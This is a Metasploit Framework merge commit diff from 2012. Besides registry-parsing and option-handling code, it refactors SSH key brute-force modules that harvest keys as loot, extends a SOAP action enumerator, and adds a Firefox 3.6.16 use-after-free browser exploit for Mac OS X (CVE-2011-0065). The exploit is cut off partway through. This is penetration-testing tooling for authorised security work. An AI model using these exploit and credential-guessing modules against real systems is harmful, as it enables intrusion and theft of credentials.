Merge branch 'master' of r7.github.com:rapid7/metasploit-framework

This commit is contained in:
Jonathan Cran 2012-01-17 13:43:36 -06:00
commit 74a7d8fac6
28 changed files with 2157 additions and 186 deletions

2
README
View File

@ -1,4 +1,4 @@
Copyright (C) 2006-2011, Rapid7 LLC
Copyright (C) 2006-2012, Rapid7 LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,

View File

@ -312,9 +312,9 @@ class ReadableText
next if (opt.advanced?)
next if (opt.evasion?)
val = mod.datastore[name] || opt.default.to_s
val_display = opt.display_value(mod.datastore[name] || opt.default)
tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ]
tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ]
}
return tbl.to_s

View File

@ -514,7 +514,7 @@ module Auxiliary::AuthBrute
# name of the module, assuming the name is sensible like ssh_login or
# smb_auth.
def proto_from_fullname
File.split(self.fullname).last.match(/^(.*)_(login|auth)/)[1].upcase rescue nil
File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil
end
# Legacy vprint

View File

@ -42,9 +42,16 @@ class Cred < ActiveRecord::Base
end
def ssh_key_matches?(other_cred)
return false unless self.ptype == "ssh_key"
return false unless other_cred.ptype == self.ptype
return false unless other_cred.kind_of? self.class
return false unless self.ptype == other_cred.ptype
case self.ptype
when "ssh_key"
matches = self.ssh_private_keys
when "ssh_pubkey"
matches = self.ssh_public_keys
else
false
end
matches.include?(self) and matches.include?(other_cred)
end

View File

@ -81,6 +81,13 @@ class OptBase
value
end
#
# Returns a string representing a user-friendly display of the chosen value
#
def display_value(value)
value.to_s
end
#
# The name of the option.
#
@ -137,6 +144,7 @@ end
# OptEnum - Select from a set of valid values
# OptAddressRange - A subnet or range of addresses
# OptSession - A session identifier
# OptRegexp - Valid Ruby regular expression
#
###
@ -440,6 +448,44 @@ class OptInt < OptBase
end
end
###
#
# Regexp option
#
###
class OptRegexp < OptBase
def type
return 'regexp'
end
def valid?(value)
unless super
return false
end
begin
Regexp.compile(value)
return true
rescue RegexpError => e
return false
end
end
def normalize(value)
return Regexp.compile(value)
end
def display_value(value)
if value.kind_of?(Regexp)
return value.source
elsif value.kind_of?(String)
return display_value(normalize(value))
end
return super
end
end
###
#

13
lib/rex/registry.rb Normal file
View File

@ -0,0 +1,13 @@
require 'rex/registry/hive'
require 'rex/registry/regf'
require 'rex/registry/nodekey'
require 'rex/registry/lfkey'
require 'rex/registry/valuekey'
require 'rex/registry/valuelist'
module Rex
module Registry
attr_accessor :alias
end
end

110
lib/rex/registry/hive.rb Normal file
View File

@ -0,0 +1,110 @@
require_relative "regf"
require_relative "nodekey"
module Rex
module Registry
class Hive
attr_accessor :root_key, :hive_regf
def initialize(hivepath)
hive_blob = open(hivepath, "rb") { |io| io.read }
@hive_regf = RegfBlock.new(hive_blob)
@root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
end
def relative_query(path)
if path == "" || path == "\\"
return @root_key
end
current_child = nil
paths = path.split("\\")
return if !@root_key.lf_record
@root_key.lf_record.children.each do |child|
next if child.name.downcase != paths[1].downcase
current_child = child
if paths.length == 2
current_child.full_path = path
return current_child
end
2.upto(paths.length) do |i|
if i == paths.length
current_child.full_path = path
return current_child
else
if current_child.lf_record && current_child.lf_record.children
current_child.lf_record.children.each do |c|
next if c.name.downcase != paths[i].downcase
current_child = c
break
end
end
end
end
end
return if !current_child
current_child.full_path = path
return current_child
end
def value_query(path)
if path == "" || path == "\\"
return nil
end
paths = path.split("\\")
return if !@root_key.lf_record
@root_key.lf_record.children.each do |root_child|
next if root_child.name.downcase != paths[1].downcase
current_child = root_child
if paths.length == 2
return nil
end
2.upto(paths.length - 1) do |i|
next if !current_child.lf_record
current_child.lf_record.children.each do |c|
next if c.name != paths[i]
current_child = c
break
end
end
if !current_child.value_list || current_child.value_list.values.length == 0
return nil
end
current_child.value_list.values.each do |value|
next if value.name.downcase != paths[paths.length - 1].downcase
value.full_path = path
return value
end
end
end
end
end
end

50
lib/rex/registry/lfkey.rb Normal file
View File

@ -0,0 +1,50 @@
require_relative "nodekey"
module Rex
module Registry
class LFBlock
attr_accessor :number_of_keys, :hash_records, :children
def initialize(hive_blob, offset)
offset = offset + 4
lf_header = hive_blob[offset, 2]
if lf_header !~ /lf/ && lf_header !~ /lh/
return
end
@number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
@hash_records = []
@children = []
hash_offset = offset + 0x04
1.upto(@number_of_keys) do |h|
hash = LFHashRecord.new(hive_blob, hash_offset)
@hash_records << hash
hash_offset = hash_offset + 0x08
@children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
end
end
end
class LFHashRecord
attr_accessor :nodekey_offset, :nodekey_name_verification
def initialize(hive_blob, offset)
@nodekey_offset = hive_blob[offset, 4].unpack('l').first
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
end
end
end
end

View File

@ -0,0 +1,53 @@
require_relative "lfkey"
require_relative "valuelist"
module Rex
module Registry
class NodeKey
attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
attr_accessor :value_count, :value_list_offset, :security_key_offset
attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
def initialize(hive, offset)
offset = offset + 0x04
nk_header = hive[offset, 2]
nk_type = hive[offset+0x02, 2]
if nk_header !~ /nk/
return
end
@timestamp = hive[offset+0x04, 8].unpack('q').first
@parent_offset = hive[offset+0x10, 4].unpack('l').first
@subkeys_count = hive[offset+0x14, 4].unpack('l').first
@lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
@value_count = hive[offset+0x24, 4].unpack('l').first
@value_list_offset = hive[offset+0x28, 4].unpack('l').first
@security_key_offset = hive[offset+0x2c, 4].unpack('l').first
@class_name_offset = hive[offset+0x30, 4].unpack('l').first
@name_length = hive[offset+0x48, 2].unpack('c').first
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
@name = hive[offset+0x4c, @name_length].to_s
windows_time = @timestamp
unix_time = windows_time/10000000-11644473600
ruby_time = Time.at(unix_time)
@readable_timestamp = ruby_time
@lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
@value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
@class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
end
end
end
end

26
lib/rex/registry/regf.rb Normal file
View File

@ -0,0 +1,26 @@
module Rex
module Registry
class RegfBlock
attr_accessor :timestamp, :root_key_offset, :hive_name
def initialize(hive)
regf_header = hive[0x00, 4]
if regf_header !~ /regf/
puts "Not a registry hive"
return
end
@timestamp = hive[0x0C, 8].unpack('q').first
@root_key_offset = 0x20
@hive_name = hive[0x30-1, 64].to_s.gsub("\x00", "")
end
end
end
end

View File

@ -0,0 +1,66 @@
module Rex
module Registry
class ValueKey
attr_accessor :name_length, :length_of_data, :data_offset, :full_path
attr_accessor :value_type, :readable_value_type, :name, :value
def initialize(hive, offset)
offset = offset + 4
vk_header = hive[offset, 2]
if vk_header !~ /vk/
puts "no vk at offset #{offset}"
return
end
@name_length = hive[offset+0x02, 2].unpack('c').first
@length_of_data = hive[offset+0x04, 4].unpack('l').first
@data_offset = hive[offset+ 0x08, 4].unpack('l').first
@value_type = hive[offset+0x0C, 4].unpack('c').first
if @value_type == 1
@readable_value_type = "Unicode character string"
elsif @value_type == 2
@readable_value_type = "Unicode string with %VAR% expanding"
elsif @value_type == 3
@readable_value_type = "Raw binary value"
elsif @value_type == 4
@readable_value_type = "Dword"
elsif @value_type == 7
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
end
flag = hive[offset+0x10, 2].unpack('c').first
if flag == 0
@name = "Default"
else
@name = hive[offset+0x14, @name_length].to_s
end
@value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
end
end
class ValueKeyData
attr_accessor :data
def initialize(hive, offset, length, datatype, parent_offset)
offset = offset + 4
#If the data-size is lower than 5, the data-offset value is used to store
#the data itself!
if length < 5
@data = hive[parent_offset + 0x08, 4]
else
@data = hive[offset + 0x1000, length]
end
end
end
end
end

View File

@ -0,0 +1,28 @@
require_relative "valuekey"
module Rex
module Registry
class ValueList
attr_accessor :values
def initialize(hive, offset, number_of_values)
offset = offset + 4
inner_offset = 0
@values = []
1.upto(number_of_values) do |v|
valuekey_offset = hive[offset + inner_offset, 4]
next if !valuekey_offset
valuekey_offset = valuekey_offset.unpack('l').first
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
inner_offset = inner_offset + 4
end
end
end
end
end

View File

@ -42,7 +42,9 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']),
OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']),
OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']),
OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]),
OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]),
OptBool.new('SSL', [ true, "Use SSL", false ]),
], self.class)
end
@ -53,6 +55,7 @@ class Metasploit3 < Msf::Auxiliary
verbs = [
'get',
'active',
'activate',
'create',
'change',
'set',
@ -74,33 +77,49 @@ class Metasploit3 < Msf::Auxiliary
'register',
'log',
'add',
'list',
'query',
#'delete', # Best to be safe!
]
nouns = [
'password',
'task',
'tasks',
'pass',
'administration',
'account',
'accounts',
'admin',
'login',
'logins',
'token',
'credentials',
'tokens',
'credential',
'credentials',
'key',
'keys',
'guid',
'message',
'messages',
'user',
'users',
'username',
'usernames',
'load',
'list',
'name',
'names',
'file',
'files',
'path',
'paths',
'directory',
'directories',
'configuration',
'configurations',
'config',
'configs',
'setting',
'settings',
'registry',
@ -111,28 +130,26 @@ class Metasploit3 < Msf::Auxiliary
target_port = datastore['RPORT']
vhost = datastore['VHOST'] || wmap_target_host || ip
# regular expressions for common rejection messages
reject_regexen = []
reject_regexen << Regexp.new("method \\S+ is not valid", true)
reject_regexen << Regexp.new("Method \\S+ not implemented", true)
reject_regexen << Regexp.new("unable to resolve WSDL method name", true)
begin
# Check service exists
res = send_request_raw({
'uri' => datastore['PATH'],
'method' => 'GET',
'vhost' => vhost,
}, 10)
if (res.code == 200)
print_status("PATH appears to be OK.")
verbs.each do |v|
nouns.each do |n|
# This could be cleaned up - patrickw
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
data << '<soap:Envelope xmlns:xsi="' + datastore['XMLINSTANCE'] + '" xmlns:xsd="' + datastore['XMLSCHEMA'] + '" xmlns:soap="' + datastore['XMLSOAP'] + '">' + "\r\n"
data << '<soap:Body>' + "\r\n"
data << "<#{v}#{n}" + " xmlns=\"#{datastore['XMLNAMESPACE']}\">" + "\r\n"
data << "</#{v}#{n}>" + "\r\n"
data << '</soap:Body>' + "\r\n"
data << '</soap:Envelope>' + "\r\n\r\n"
data_parts = []
data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">"
data_parts << "<soap:Body>"
data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">"
data_parts << "</#{v}#{n}>"
data_parts << "</soap:Body>"
data_parts << "</soap:Envelope>"
data_parts << nil
data_parts << nil
data = data_parts.join("\r\n")
res = send_request_raw({
'uri' => datastore['PATH'] + '/' + v + n,
@ -149,7 +166,7 @@ class Metasploit3 < Msf::Auxiliary
}, 15)
if (res && !(res.body.empty?))
if (res.body =~ /method name is not valid/)
if ((not reject_regexen.select { |r| res.body =~ r }.empty?))
print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
elsif (res.message =~ /Cannot process the message because the content type/)
print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
@ -157,6 +174,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Set CONTENTTYPE to \"#{$1}\"")
return false
elsif (res.code == 404)
print_status("Server returned HTTP 404 for #{datastore['PATH']}. Use a different one.")
return false
else
print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
@ -164,7 +182,7 @@ class Metasploit3 < Msf::Auxiliary
report_note(
:host => ip,
:proto => 'tcp',
:sname => 'HTTP',
:sname => (ssl ? 'https' : 'http'),
:port => rport,
:type => "SOAPAction: #{v}#{n}",
:data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
@ -175,15 +193,11 @@ class Metasploit3 < Msf::Auxiliary
end
end
end
select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0)
end
end
else
print_status("Server did not respond with 200 OK.")
print_status(res.to_s)
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
print_error(e)
end
end
end

View File

@ -159,7 +159,6 @@ class Metasploit3 < Msf::Auxiliary
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
@keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
@ -167,10 +166,9 @@ class Metasploit3 < Msf::Auxiliary
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
@keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/}
end
these_keys = @key_files.map {|f| File.join(key_dir,f)}
keys = read_keyfile(these_keys)
@ -214,14 +212,14 @@ class Metasploit3 < Msf::Auxiliary
if datastore['SSH_BYPASS']
data = nil
print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...")
print_status("#{ip}:#{rport} SSH - User #{user} is being tested for authentication bypass...")
begin
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
rescue ::Exception
end
print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data
print_brute(:level => :good, :msg => "User #{user} successfully bypassed authentication: #{data.inspect} ") if data
end
::Timeout.timeout(1) { ssh_socket.close } rescue nil
@ -237,14 +235,14 @@ class Metasploit3 < Msf::Auxiliary
if accepted.length == 0
if @key_files
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
else
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}"
end
end
accepted.each do |key|
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
do_report(ip, rport, user, key, key_data)
end
end
@ -252,13 +250,13 @@ class Metasploit3 < Msf::Auxiliary
def do_report(ip, port, user, key, key_data)
return unless framework.db.active
store_keyfile_b64_loot(ip,user,key[:fingerprint])
keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data)
cred_hash = {
:host => ip,
:port => rport,
:sname => 'ssh',
:user => user,
:pass => @keyfile_path,
:pass => keyfile_path,
:source_type => "user_supplied",
:type => 'ssh_pubkey',
:proof => "KEY=#{key[:fingerprint]}",
@ -268,42 +266,27 @@ class Metasploit3 < Msf::Auxiliary
this_cred = report_auth_info(cred_hash)
end
# Checks if any existing privkeys matches the named key's
# key id. If so, assign that other key's cred.id to this
# one's proof section, and vice-versa.
def cross_check_privkeys(key_id)
return unless framework.db.active
other_cred = nil
framework.db.creds.each do |cred|
next unless cred.ptype == "ssh_key"
next unless cred.proof =~ /#{key_id}/
other_cred = cred
break
end
return other_cred
def existing_loot(ltype, key_id)
framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
end
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
# good, then store it as loot for this user@host, unless we
# already have it in loot.
def store_keyfile_b64_loot(ip,user,key_id)
return unless db
return if @keyfile_path
return if datastore["SSH_KEYFILE_B64"].to_s.empty?
keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
keyfile = keyfile.strip + "\n"
ktype_match = keyfile.match(/ssh-(rsa|dss)/)
return unless ktype_match
ktype = ktype_match[1].downcase
ktype = "dsa" if ktype == "dss" # Seems sensible to recast it
def store_keyfile(ip,user,key_id,key_data)
safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil
return unless ktype
ktype = "dsa" if ktype == "dss"
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
# Assignment and comparison here, watch out!
if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
if loot.info.include? key_id
@keyfile_path = loot.path
end
end
@keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
keyfile = existing_loot(ltype, key_id)
return keyfile.path if keyfile
keyfile_path = store_loot(
ltype,
"application/octet-stream", # Text, but always want to mime-type attach it
ip,
(key_data + "\n"),
"#{safe_username}_#{ktype}.pub",
key_id
)
return keyfile_path
end
def run_host(ip)
@ -314,17 +297,17 @@ class Metasploit3 < Msf::Auxiliary
ret, proof = do_login(ip, rport, user)
case ret
when :connection_error
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
vprint_error "#{ip}:#{rport} SSH - Could not connect"
:abort
when :connection_disconnect
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
vprint_error "#{ip}:#{rport} SSH - Connection timed out"
:abort
when :fail
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
when :missing_keyfile
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile"
when :no_valid_keys
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
vprint_error "#{ip}:#{rport} SSH - No readable keys in keyfile"
end
end
end

View File

@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
attr_accessor :ssh_socket, :good_credentials, :good_key
attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data
def initialize
super(
@ -147,7 +147,6 @@ class Metasploit3 < Msf::Auxiliary
def do_login(ip,user,port)
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
keys = read_keyfile(datastore['KEY_FILE'])
@keyfile_path = datastore['KEY_FILE'].dup
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
@ -155,7 +154,6 @@ class Metasploit3 < Msf::Auxiliary
cleartext_keys = pull_cleartext_keys(keys)
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
elsif datastore['KEY_DIR']
@keyfile_path = datastore['KEY_DIR'].dup
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
unless @key_files
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
@ -195,9 +193,9 @@ class Metasploit3 < Msf::Auxiliary
rescue Net::SSH::AuthenticationFailed
# Try, try, again
if @key_files
vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}"
else
vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{key_idx+1}"
vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}"
end
next
rescue Net::SSH::Exception => e
@ -208,6 +206,7 @@ class Metasploit3 < Msf::Auxiliary
if self.ssh_socket
self.good_key = self.ssh_socket.auth_info[:pubkey_id]
self.good_key_data = self.ssh_socket.options[:key_data]
proof = ''
begin
Timeout.timeout(5) do
@ -247,42 +246,50 @@ class Metasploit3 < Msf::Auxiliary
end
end
def do_report(ip,user,port,proof)
def do_report(ip, port, user, proof)
return unless framework.db.active
store_keyfile_b64_loot(ip,user,self.good_key)
keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data)
cred_hash = {
:host => ip,
:port => datastore['RPORT'],
:sname => 'ssh',
:user => user,
:pass => @keyfile_path,
:pass => keyfile_path,
:type => "ssh_key",
:proof => "KEY=#{self.good_key}, PROOF=#{proof}",
:duplicate_ok => true,
:active => true
}
this_cred = report_auth_info(cred_hash)
end
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
# good, then store it as loot for this user@host, unless we
# already have it in loot.
def store_keyfile_b64_loot(ip,user,key_id)
return unless db
return if @keyfile_path
return if datastore["SSH_KEYFILE_B64"].to_s.empty?
keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
keyfile = keyfile.strip + "\n"
ktype_match = keyfile.match(/--BEGIN ([DR]SA) PRIVATE/)
return unless ktype_match
ktype = ktype_match[1].downcase
def existing_loot(ltype, key_id)
framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
end
def store_keyfile(ip,user,key_id,key_data)
safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
case key_data
when /BEGIN RSA PRIVATE/m
ktype = "rsa"
when /BEGIN DSA PRIVATE/m
ktype = "dsa"
else
ktype = nil
end
return unless ktype
ltype = "host.unix.ssh.#{user}_#{ktype}_private"
# Assignment and comparison here, watch out!
if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
if loot.info.include? key_id
@keyfile_path = loot.path
end
end
@keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
keyfile = existing_loot(ltype, key_id)
return keyfile.path if keyfile
keyfile_path = store_loot(
ltype,
"application/octet-stream", # Text, but always want to mime-type attach it
ip,
(key_data + "\n"),
"#{safe_username}_#{ktype}.key",
key_id
)
return keyfile_path
end
def run_host(ip)
@ -294,21 +301,21 @@ class Metasploit3 < Msf::Auxiliary
ret,proof = do_login(ip,user,rport)
case ret
when :success
print_good "#{ip}:#{rport} SSH - Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
do_report(ip,user,rport,proof)
print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
do_report(ip, rport, user, proof)
:next_user
when :connection_error
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
vprint_error "#{ip}:#{rport} SSH - Could not connect"
:abort
when :connection_disconnect
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
vprint_error "#{ip}:#{rport} SSH - Connection timed out"
:abort
when :fail
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
when :missing_keyfile
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile."
vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile."
when :no_valid_keys
vprint_error "#{ip}:#{rport} - SSH - No cleartext keys in keyfile."
vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile."
end
end
end

View File

@ -83,20 +83,20 @@ class Metasploit3 < Msf::Auxiliary
@interface = get_interface_guid(@interface)
@smac = datastore['SMAC']
@smac ||= get_mac(@interface) if @netifaces
raise RuntimeError ,'Source Mac should be defined' unless @smac
raise RuntimeError ,'Source Mac is not in correct format' unless is_mac?(@smac)
raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac
raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac)
@sip = datastore['LOCALSIP']
@sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces
raise "LOCALIP is not defined and can not be guessed" unless @sip
raise "LOCALIP is not an ipv4 address" unless is_ipv4? @sip
raise "LOCALSIP is not defined and can not be guessed" unless @sip
raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip)
shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS'])
@shosts = []
if datastore['BIDIRECTIONAL']
shosts_range.each{|shost| if is_ipv4? shost and shost != @sip then @shosts.push shost end}
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end}
else
shosts_range.each{|shost| if is_ipv4? shost then @shosts.push shost end}
shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end}
end
if datastore['BROADCAST']
@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary
dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS'])
@dhosts = []
dhosts_range.each{|dhost| if is_ipv4? dhost and dhost != @sip then @dhosts.push(dhost) end}
dhosts_range.each{|dhost| if Rex::Socket.is_ipv4?(dhost) and dhost != @sip then @dhosts.push(dhost) end}
#Build the local dest hosts cache
print_status("Building the destination hosts cache...")
@ -329,12 +329,6 @@ class Metasploit3 < Msf::Auxiliary
else false end
end
#copy paste from rex::socket cause we need only ipv4
#NOTE: Breaks msftidy's rule on long lines, should be refactored for readability.
def is_ipv4?(addr)
(addr =~ /^(?:(?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2})[.](?:25[0-5]|2[0-4][0-9]|[0-1]?[0-9]{1,2}))$/) ? true : false
end
def buildprobe(shost, smac, dhost)
p = PacketFu::ARPPacket.new
p.eth_saddr = smac

View File

@ -0,0 +1,159 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.6.16",
:ua_maxver => "3.6.16",
:os_name => OperatingSystems::MAC_OSX,
:javascript => true,
:rank => NormalRanking,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability',
'Description' => %q{
This module exploits an use after free vulnerability in Mozilla
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
becomes a dangling pointer and can be reused when setting the OBJECTs
data attribute. (Discovered by regenrecht). Mac OS X version by argp,
tested on Mac OS X 10.6.6, 10.6.7 and 10.6.8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # discovery
'Rh0', # windows metasploit module
'argp <argp[at]census-labs.com>' # mac os x target
],
'References' =>
[
['CVE', '2011-0065'],
['OSVDB', '72085'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
],
'Payload' =>
{
'Space' => 1024,
},
'Platform' => 'osx',
'Targets' =>
[
[
'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7 and 10.6.8)',
{
'Arch' => ARCH_X86,
'Fakevtable' => 0x2727,
'Fakefunc' => 0x2727001c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 10 2011'
))
end
def on_request_uri(cli, request)
# Random JavaScript variable names
js_element_name = rand_text_alpha(rand(10) + 5)
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
js_sc_name = rand_text_alpha(rand(10) + 5)
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
js_chunk_name = rand_text_alpha(rand(10) + 5)
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
js_block_name = rand_text_alpha(rand(10) + 5)
js_array_name = rand_text_alpha(rand(10) + 5)
# check for non vulnerable targets
agent = request.headers['User-Agent']
if agent !~ /Intel Mac OS X 10\.6/ and agent !~ /Firefox\/3\.6\.16/
print_error("Target not supported: #{agent}") if datastore['VERBOSE']
send_not_found(cli)
return
end
# Re-generate the payload
return if ((payload = regenerate_payload(cli).encoded) == nil)
payload_buf = ''
payload_buf << payload
escaped_payload = Rex::Text.to_unescape(payload_buf)
# setup the fake memory references
my_target = targets[0] # in case we add more targets later
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
